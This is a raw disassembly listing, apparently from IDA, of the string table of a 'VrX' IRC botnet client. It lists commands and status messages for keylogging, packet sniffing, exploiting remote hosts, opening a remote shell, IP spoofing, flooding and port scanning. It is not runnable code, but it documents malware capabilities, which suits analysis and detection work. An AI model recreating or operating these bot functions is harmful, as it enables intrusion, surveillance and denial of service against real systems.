char aTsn[] aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4922o ; char aTsunami[] aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+490Bo ; char aT3[] aT3 db 't3',0 ; DATA XREF: sub_401ACD+48F4o align 4 ; char aTarga3[] aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+48DDo align 4 ; char aC_p[] aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+48C6o ; char aC_part[] aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+48AFo align 4 ; char aC_j[] aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+4898o ; char aC_join[] aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+4881o align 4 ; char aC_n[] aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+486Ao ; char aC_nick[] aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+4853o align 10h ; char aC_m[] aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+483Co ; char aC_mode[] aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+4825o align 4 ; char aC_r[] aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+480Eo ; char aC_raw[] aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+47F7o align 4 ; char aM_0[] aM_0: ; DATA XREF: sub_401ACD+47E0o ; .data:004387C8o ... unicode 0, <m>,0 ; char aCy[] aCy db 'cy',0 ; DATA XREF: sub_401ACD+47B2o align 10h ; char aCycle[] aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+479Bo align 4 ; char aA[] aA: ; DATA XREF: sub_401ACD+4784o ; .data:0043878Co unicode 0, <a>,0 ; char aAction[] aAction db 'action',0 ; DATA XREF: sub_401ACD+476Do align 4 ; char aPrivmsg_0[] aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+473Fo ; char aAa[] aAa db 'aa',0 ; DATA XREF: sub_401ACD+4728o align 10h ; char aAddalias[] aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4711o align 4 ; char aKl[] aKl db 'kl',0 ; DATA XREF: sub_401ACD+46FAo align 10h ; char aKilllog[] aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+46E3o ; char aGh[] aGh db 'gh',0 ; DATA XREF: sub_401ACD+46BAo align 4 ; char aGethost[] aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+46A3o unk_42B254 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406163o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42B270 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406159o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 ; char aSend_0[] aSend_0 db 'send',0 ; DATA XREF: sub_401ACD+465Bo ; sub_409909+5F0o align 4 unk_42B29C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40611Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42B2BC db 2Dh ; - ; DATA XREF: sub_401ACD+4646o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42B2DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406091o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42B2FC db 2Dh ; - ; DATA XREF: sub_401ACD+45BAo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h ; char aShare[] aShare db 'share',0 ; DATA XREF: sub_401ACD+4567o align 4 ; char aContinue[] aContinue db 'continue',0 ; DATA XREF: sub_401ACD+4527o align 4 ; char aPause[] aPause db 'pause',0 ; DATA XREF: sub_401ACD+450Fo align 4 unk_42B33C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405FB9o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42B35C db 2Dh ; - ; DATA XREF: sub_401ACD+44E2o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 10h ; char aStart[] aStart db 'start',0 ; DATA XREF: sub_401ACD+44ABo align 4 unk_42B388 db 2Dh ; - ; DATA XREF: sub_401ACD+4478o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 ; char aNet[] aNet db 'net',0 ; DATA XREF: sub_401ACD+4454o ; char aStop[] aStop db 'stop',0 ; DATA XREF: sub_401ACD+4426o ; sub_401ACD+443Do ... align 4 ; char aKeylog[] aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+440Fo align 4 ; char aKeyloger[] aKeyloger db 'keyloger',0 ; DATA XREF: sub_401ACD+43F8o align 10h dword_42B3E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405EB8o aNoThreadFound_ db '- No thread found.',0 align 10h dword_42B400 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43E1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42B438 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43B3o aFailedToSta_13 db '- Failed to start server, error: <%d>.',0 align 4 ; char asc_42B46C[] asc_42B46C db '-' ; DATA XREF: sub_401ACD+4366o db 3, 34h, 2 dd 6E656469h, 3026474h aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B498 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4356o aAlreadyRunning db '- Already running.',0 align 4 ; char aIdent[] aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4325o align 10h unk_42B4C0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DE5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoVrxSnifferTh db '- No VrX sniffer thread found.',0 unk_42B4EC db 2Dh ; - ; DATA XREF: sub_401ACD+430Eo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0 unk_42B528 db 2Dh ; - ; DATA XREF: sub_401ACD+42E0o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0 ; char asc_42B564[] asc_42B564 db '-' ; DATA XREF: sub_401ACD+4271o db 3, 34h, 2 db 53h ; S db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxPacketSniff db '- VrX packet sniffer active.',0 align 10h unk_42B590 db 2Dh ; - ; DATA XREF: sub_401ACD+420Ao db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_0 db '- Already running.',0 ; char aSniffer[] aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41D5o dword_42B5B8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C95o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B5E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+41BEo aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B620 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4190o aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 ; char asc_42B65C[] asc_42B65C db '-' ; DATA XREF: sub_401ACD+4121o db 3, 34h, 2 dd 696E7370h, 3026666h aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B68C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40BAo aAlreadyRunni_1 db '- Already running.',0 align 4 ; char aOn[] aOn db 'on',0 ; DATA XREF: sub_401ACD+409Ao ; sub_401ACD+41EAo ... align 10h ; char aPsniff[] aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+4085o align 4 ; char aRf[] aRf db 'rf',0 ; DATA XREF: sub_401ACD+406Eo align 4 ; char aReadfile[] aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4057o align 4 ; char aCm[] aCm db 'cm',0 ; DATA XREF: sub_401ACD+4040o align 4 ; char aCmd[] aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4029o ; char aMirc[] aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+4012o align 4 ; char aMirccmd[] aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FFBo ; char aV[] aV: ; DATA XREF: sub_401ACD+3FE4o ; .data:004387BCo ... unicode 0, <v>,0 ; char aVisit[] aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FCDo align 4 ; char aLi[] aLi db 'li',0 ; DATA XREF: sub_401ACD+3FB6o align 10h ; char aList[] aList db 'list',0 ; DATA XREF: sub_401ACD+3F9Fo align 4 ; char aGt[] aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F88o align 4 ; char aDel[] aDel db 'del',0 ; DATA XREF: sub_401ACD+3F5Ao ; char aDelete[] aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F43o ; sub_401ACD+453Fo align 4 ; char aKi[] aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F2Co align 4 ; char aKill[] aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F15o align 4 ; char aKp[] aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EFEo align 4 ; char aKillproc[] aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE7o align 4 ; char aDn[] aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ED0o align 4 ; char aDns[] aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o ; char aSe[] aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA2o align 10h ; char aO[] aO: ; DATA XREF: sub_401ACD+3E74o ; .data:00438AECo unicode 0, <o>,0 ; char aOpen[] aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E5Do ; sub_401ACD+583Ao ... align 4 ; char aPr[] aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E46o align 10h ; char aPrefix[] aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E2Fo align 4 ; char aC_rn[] aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E18o align 10h ; char aC_rndnick[] aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E01o align 4 ; char aC_q[] aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DEAo ; char aC_quit[] aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DD3o align 4 ; char aKillthread[] aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DA5o align 4 ; char aRaw[] aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D77o ; char aPt[] aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D60o align 4 ; char aJ[] aJ: ; DATA XREF: sub_401ACD+3D32o ; .data:004387A4o ... unicode 0, <j>,0 ; char aN[] aN: ; DATA XREF: sub_401ACD+3D04o ; .data:004387C4o ... unicode 0, <n>,0 unk_42B784 db 2Dh ; - ; DATA XREF: sub_401ACD+3CCFo db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 ; char aNickservRegist[] aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o ; char aRegister[] aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C3Do align 10h ; char aPrivmsgSS_0[] aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3BE2o align 10h ; char aMix[] aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B0Do ; char aPrivmsgS_3[] aPrivmsgS_3 db 'PRIVMSG %s :' ; DATA XREF: sub_401ACD+3AB7o ; sub_401ACD+3AF2o dd 6E696601h, 1726567h, 0 ; char aPrivmsgS_2[] aPrivmsgS_2 db 'PRIVMSG %s :' ; DATA XREF: sub_401ACD+3A7Co dd 72657601h, 6E6F6973h, 1 ; char aPrivmsgS_1[] aPrivmsgS_1 db 'PRIVMSG %s :' ; DATA XREF: sub_401ACD+3A41o ; sub_401ACD+3B62o dd 6E697001h, 167h ; char aCtcp[] aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+39ECo align 10h ; char aNoticeSS_1[] aNoticeSS_1 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3951o ; sub_401ACD+3991o ... align 10h ; char aNotice_0[] aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+38F7o align 4 ; char aMsg[] aMsg db 'msg',0 ; DATA XREF: sub_401ACD+3802o ; char aChgnick[] aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+37BDo ; char aNick_0[] aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+36B5o ; sub_401ACD+3CEDo align 4 ; char aPrivmsgS_0[] aPrivmsgS_0 db 'PRIVMSG %s :' ; DATA XREF: sub_401ACD+369Ao dd 43434401h, 4E455320h, 64252044h, 2064252Eh, 25206425h dd 64252064h, 1 ; char aDcc[] aDcc db 'dcc',0 ; DATA XREF: sub_401ACD+361Do ; char aJoinPart[] aJoinPart db 'join/part',0 ; DATA XREF: sub_401ACD+34C6o align 4 ; char aNickS_0[] aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_401ACD+34ABo ; sub_401ACD+3712o ... ; char aSI[] aSI db '%s%i',0 ; DATA XREF: sub_401ACD+3490o ; sub_40AAAC+4Fo ... align 4 ; char aPnick[] aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+344Fo align 4 ; char aPartSS[] aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3434o ; sub_401ACD+3520o ... align 4 ; char aPartflood[] aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+340Do align 4 ; char aPartS[] aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+33F2o ; char aPart_0[] aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+33D0o ; sub_401ACD+3D49o align 4 ; char aJoinS[] aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+33B5o ; sub_401ACD+34F4o ... ; char aJoin[] aJoin db 'join',0 ; DATA XREF: sub_401ACD+3393o ; sub_401ACD+3D1Bo align 4 ; char aModeSS[] aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+3378o align 10h ; char aMode[] aMode db 'mode',0 ; DATA XREF: sub_401ACD+3329o ; sub_401ACD+47C9o align 4 ; char aNoticeSS_0[] aNoticeSS_0 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+330Eo align 4 ; char aNt[] aNt db 'nt',0 ; DATA XREF: sub_401ACD+32BFo align 4 ; char aPrivmsgS[] aPrivmsgS db 'privmsg %s :' ; DATA XREF: sub_401ACD+32A4o dd 1732501h, 0 ; char aCt[] aCt db 'ct',0 ; DATA XREF: sub_401ACD+3255o align 4 ; char aPrivmsgSS[] aPrivmsgSS db 'privmsg %s :%s',0 ; DATA XREF: sub_401ACD+323Ao ; sub_401ACD+385Co ... align 4 ; char a_[] a_: ; DATA XREF: sub_401ACD+320Bo ; sub_401ACD+3275o ... unicode 0, <_>,0 ; char aPm[] aPm db 'pm',0 ; DATA XREF: sub_401ACD+31EBo ; sub_401ACD+4756o align 4 ; char asc_42B93C[] asc_42B93C db '-' ; DATA XREF: sub_401ACD+31BBo db 3, 34h, 2 db 56h ; V db 72h, 58h, 20h db 46h ; F db 6Ch, 2 dup(6Fh) db 64h ; d db 2, 3, 2Dh aSClonesLoadedT db ' %s clones loaded to %s:%s',0 align 4 ; char aLoad[] aLoad db 'load',0 ; DATA XREF: sub_401ACD+3164o align 10h ; char aFlood[] aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3143o align 4 ; char aRinms[] aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+312Co align 10h ; char aReconnect_in_m[] aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3115o ; char aRin[] aRin db 'rin',0 ; DATA XREF: sub_401ACD+30FEo ; char aReconnect_in[] aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+30E7o align 4 unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+30DAo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 ; char asc_42B9E4[] asc_42B9E4 db '-' ; DATA XREF: sub_401ACD+3068o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 ; char aExploit[] aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+2FE1o ; char asc_42BA1C[] asc_42BA1C db '-' ; DATA XREF: sub_401ACD+2FC5o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42BA48 db 2Dh ; - ; DATA XREF: sub_401ACD+2FA7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 ; char aD_D_D_[] aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2F83o align 4 unk_42BA88 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4049F7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 10h ; char aGet_1[] aGet_1 db 'get',0 ; DATA XREF: sub_401ACD:loc_4049D9o ; sub_401ACD+3F71o unk_42BAC4 db 3 ; DATA XREF: sub_401ACD+2E9Ao a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0 align 10h unk_42BAF0 db 3 ; DATA XREF: sub_401ACD+2E8Fo a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0 align 4 dword_42BB1C dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401ACD+2E3Ao unk_42BB2C db 3 ; DATA XREF: sub_401ACD:loc_4048F8o a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-' db 'Hackers.com).',0 dword_42BB7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E08o aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0 align 4 ; char asc_42BBB8[] asc_42BBB8 db '-' ; DATA XREF: sub_401ACD+2D8Eo db 3, 34h, 2 dd 75636573h, 3026572h, 7325202Dh, 73797320h, 2E6D6574h dd 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2D88o align 10h aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2D81o align 4 unk_42BBEC db 2Dh ; - ; DATA XREF: sub_401ACD+2D0Ao db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0 align 4 ; char asc_42BC2C[] asc_42BC2C db '-' ; DATA XREF: sub_401ACD+2C86o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42BC58 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C04o aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0 align 4 ; char asc_42BC94[] asc_42BC94 db '-' ; DATA XREF: sub_401ACD+2B95o ; sub_411BCE+A8o db 3, 34h, 2 dd 6B636F73h, 3023473h aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42BCBC dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2AE2o aFindFile db 'Find file',0 ; DATA XREF: sub_401ACD+2ADDo align 4 dword_42BCD8 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo aProcessList db 'Process list',0 ; DATA XREF: sub_401ACD+2AC5o align 4 unk_42BCF8 db 3 ; DATA XREF: sub_401ACD+2A52o a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0 ; char aQuitReconnecti[] aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o ; sub_401ACD:loc_409570o ... align 4 unk_42BD28 db 3 ; DATA XREF: sub_401ACD+2A30o a81VrxDisconnec db '8,1-VrX- Disconnecting.',0 align 4 ; char aQuitDisconnect[] aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o align 4 ; char aQuitLater[] aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo ; sub_401ACD+78C1o align 4 ; char aQuitS[] aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo align 4 unk_42BD78 db 3 ; DATA XREF: sub_401ACD+29D4o a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0 align 4 ; char unk_42BDA4 unk_42BDA4 db 3 ; DATA XREF: sub_401ACD+2995o a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0 align 4 unk_42BDBC db 2Dh ; - ; DATA XREF: sub_401ACD+2986o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0 align 4 ; char asc_42BDF8[] asc_42BDF8 db '-' ; DATA XREF: sub_401ACD+2917o db 3, 34h, 2 dd 65726874h, 2736461h, 4C202D03h, 20747369h, 65726874h dd 2E736461h, 0 ; char aSub[] aSub db 'sub',0 ; DATA XREF: sub_401ACD+28F1o unk_42BE1C db 3 ; DATA XREF: sub_401ACD+289Fo a81VrxAliasList db '8,1-VrX- Alias list.',0 align 4 unk_42BE34 db 2Dh ; - ; DATA XREF: sub_401ACD+2884o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0 ; char asc_42BE6C[] asc_42BE6C db '-' ; DATA XREF: sub_401ACD+2815o db 3, 34h, 2 dd 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh, 2E676Fh unk_42BE84 db 3 ; DATA XREF: sub_401ACD+276Do a81VrxNetworkIn db '8,1-VrX- Network Info.',0 unk_42BE9C db 3 ; DATA XREF: sub_401ACD+273Eo a81VrxSystemInf db '8,1-VrX- System Info.',0 align 4 unk_42BEB4 db 3 ; DATA XREF: sub_401ACD+26E9o a81VrxRemovingB db '8,1-VrX- Removing Bot.',0 ; char asc_42BECC[] asc_42BECC db '-' ; DATA XREF: sub_401ACD+26CDo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0 align 4 ; char asc_42BF08[] asc_42BF08 db '-' ; DATA XREF: sub_401ACD+2658o db 3, 34h, 2 dd 636F7270h, 2D030273h, 6F725020h, 73656363h, 696C2073h dd 2E7473h ; char aFull[] aFull db 'full',0 ; DATA XREF: sub_401ACD+2638o align 4 unk_42BF2C db 2Dh ; - ; DATA XREF: sub_401ACD+25D9o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_2 db ' Already running.',0 align 4 ; char unk_42BF4C unk_42BF4C db 3 ; DATA XREF: sub_401ACD+2588o a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0 align 4 ; char asc_42BF64[] asc_42BF64 db '-' ; DATA XREF: sub_401ACD:loc_403F8Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BF84 db 2Dh ; - ; DATA XREF: sub_401ACD+24B6o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BFAC db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 unk_42BFD8 db 3 ; DATA XREF: sub_401ACD+2484o a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0 align 4 dword_42BFF4 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+2456o dd 2Dh unk_42C00C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F13o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42C038 db 2Dh ; - ; DATA XREF: sub_401ACD+243Fo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 ; char asc_42C05C[] asc_42C05C db '-' ; DATA XREF: sub_401ACD:loc_403EE8o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42C088 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE1o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42C0B4 db 2Dh ; - ; DATA XREF: sub_401ACD+240Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42C0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+23BAo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0 align 4 ; char asc_42C114[] asc_42C114 db '-' ; DATA XREF: sub_401ACD+234Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 ; char asc_42C150[] asc_42C150 db '-' ; DATA XREF: sub_401ACD+2265o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0 align 4 ; char asc_42C18C[] asc_42C18C db '-' ; DATA XREF: sub_401ACD+21FAo ; sub_40BD91+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42C1C8 db 2Dh ; - ; DATA XREF: sub_401ACD+20F3o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0 align 4 ; char asc_42C204[] asc_42C204 db '-' ; DATA XREF: sub_401ACD+2084o ; sub_40BD91+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42C238 db 2Dh ; - ; DATA XREF: sub_401ACD+1FCFo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 unk_42C258 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403A86o db 3, 34h, 2 db 4Dh ; M db 61h, 2 dup(53h) db 20h db 53h, 63h, 41h db 6Eh ; n db 2, 3, 2Dh aFailedToSta_25 db ' Failed to start scan, port is invalid.',0 ; char asc_42C290[] asc_42C290 db '-' ; DATA XREF: sub_401ACD+1F6Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0 align 4 ; char asc_42C2CC[] asc_42C2CC db '-' ; DATA XREF: sub_401ACD+1EFBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1ED0o ; 